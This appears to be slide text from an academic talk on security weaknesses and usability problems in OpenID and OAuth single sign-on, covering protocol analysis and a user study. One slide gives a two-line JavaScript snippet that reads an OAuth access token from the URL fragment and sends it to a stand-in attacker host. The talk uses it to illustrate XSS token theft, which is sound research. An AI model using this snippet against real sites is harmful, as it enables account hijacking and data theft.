Case Study: Security and Usability of Web Single Sign-On Systems

San-Tsai Sun
- uncovering novel vulnerabilities
- designing usable and practical countermeasures

• **PhD candidate**: web security
• **architect/consultant**: Web-based software and security engineering
• **certified instructor**: Microsoft, Sun Java, Trend Micro
• **web technology evangelist**: MVP, MSDN Regional Director Taiwan, TechED, DevDays, PDC, Java Two
outline

• background and overview
• Case 1: OpenID 2.0 security analysis
• Case 2: OAuth 2.0 security analysis
• Case 3: web SSO usability study
security design principles

1. Least Privilege
2. Fail-Safe Defaults
3. Economy of Mechanism
4. Complete Mediation
5. Open Design
6. Separation of Duty
7. Least Common Mechanism
8. Psychological Acceptability
9. Defense in depth
10. Question assumptions
usable security design principles

1. Path of Least Resistance
2. Active Authorization
3. Revocability
4. Visibility
5. Self-Awareness
6. Trusted Path
7. Expressiveness
8. Relevant Boundaries
9. Identifiability
10. Foresight
traditional site-centric architecture

25 accounts
8 passwords per day [1]

- password fatigue
- insecure password practices

OpenID and OAuth-based web single sign-on (SSO) systems

web users’ choices of IdPs

source: jainrain

how OpenID and OAuth SSO works

skip authentication if user has logged into the IdP in the same browser

skip authorization if granted already

OpenID: attribute assertion
OAuth: access token or authorization code

OpenID: (optional) Diffie-Hellman key agreement

access token
authz. code and app. secret

API + access token

user profile

OAuth RP-to-IdP registration: unique app ID/secret key
challenges, assumptions, overall approach

challenges:
- × source code is not accessible
- × situated between RP and IdP is hard
- × realistic evaluation introduce actual harms

browser relay messages
- ➢ identify weaknesses

security tokens
- ➢ steal access token
- ➢ impersonate user on RP

Remote
(XSS, CSRF)

network
Formal Analysis and Empirical Evaluation for OpenID 2.0 Security

OpenID 2.0 security analysis overall approach

- formal model checking (AVISPA)
- design 6 exploits and evaluation tools
- empirical prevalence evaluation (132 RPs)
- two countermeasures

103 RPs on OpenID directory
29 RPs on Google Top 1000

three fundamental weaknesses:
- lack of **authenticity guarantee** of auth. request
- lack of **integrity guarantee** of auth. request
- lack of **contextual binding** between protocol messages and the browser
impersonation using profile attribute (email) forgery

use email address as identifier,
without checking whether the email is signed by the IdP
principles violated?

1. Least Privilege
2. Fail-Safe Defaults
3. Economy of Mechanism
4. Complete Mediation
5. Open Design
6. Separation of Duty
7. Least Common Mechanism
8. Psychological Acceptability
9. Defense in depth
10. Question assumptions
Empirical Security Analysis of OAuth 2.0-based SSO Systems

OAuth 2.0-based SSO

• **access token** is the capability!
  – represent scope and duration of an authorization
  – used by RP to access identity information
  – temporary key to user account on IdP and RP

• **server-flow:** RP server-side

• **client-flow:** JavaScript/Rich-client
client flow
access_token = document.location.hash

skip authentication if user has logged into the IdP in the same browser.

skip authorization if user has already

JavaScript

redirect_uri

Relying Party (RP)

User/Browser

Login with Facebook

Identity provider (IdP)

app_id, scope, redirect_uri, response=token

redirect_uri=access_token
overall approach (OAuth 2.0)

- steal access token
  - harvest user data on IdP
  - act on behalf of victim
- impersonate user on RP
  - control user RP account

96 RPs listed on Google Top 1,000 Websites

- English-written
- support Facebook
access token theft via XSS: 91%

token = document.location.hash;
img.src='evil.com?'+token;

Identity provider (IdP)

Relying Party (RP)
principles violated?

1. Least Privilege
2. Fail-Safe Defaults
3. Economy of Mechanism
4. Complete Mediation
5. Open Design
6. Separation of Duty
7. Least Common Mechanism
8. Psychological Acceptability
9. Defense in depth
10. Question assumptions
Investigating User's Perspective of Web Single Sign-On


in-lab user study overall approach

- confirm findings from the exploratory study
- understand web users' perceptions and concerns
- define requirements
- improve prototype and study design

- screen participants for gender, age, student/non-student
- each participant was included only once

- sign onto real-world RPs using SSO
- IdP-phishing identification test
- mental model drawing
- semi-structured interview

main findings
Ugly to the End

Weiner Resigns Over Sexting Scandal

- VIDEO: Weiner Announces Resignation
- Stand by Your Man? The Different Decisions of Political Wives
- Ex-Porn Star in Scandal Cashin in on 15 Minutes of Fame
- Dr. Manny's Advice for Weiner's Pregnant Wife
- TIMELINE: Anthony Weiner Scandal
misleading affordance and negative transfer effect

most participants entered their Google or Yahoo email and password into the traditional login form directly.
security misconception

“The website is going to have my Google email and password!!”
implicit IdP login concern

log out all RP websites

check email

log into RP and IdP

log into RP only

“why Gmail did not ask me to sign in!!”
“what if I just left this computer?”
privacy concern

“\textit{I would normally say NO !!}”
security misconception confirm

in the same browser session, only one IdP login prompt for a specific IdP

log back into

“Fox News remembers my Google password!!”

“why no IdP login prompt?”

“my password has been stored some where!!”
usable security design principles?

1. Path of Least Resistance
2. Active Authorization
3. Revocability
4. Visibility
5. Self-Awareness
6. Trusted Path
7. Expressiveness
8. Relevant Boundaries
9. Identifiability
10. Foresight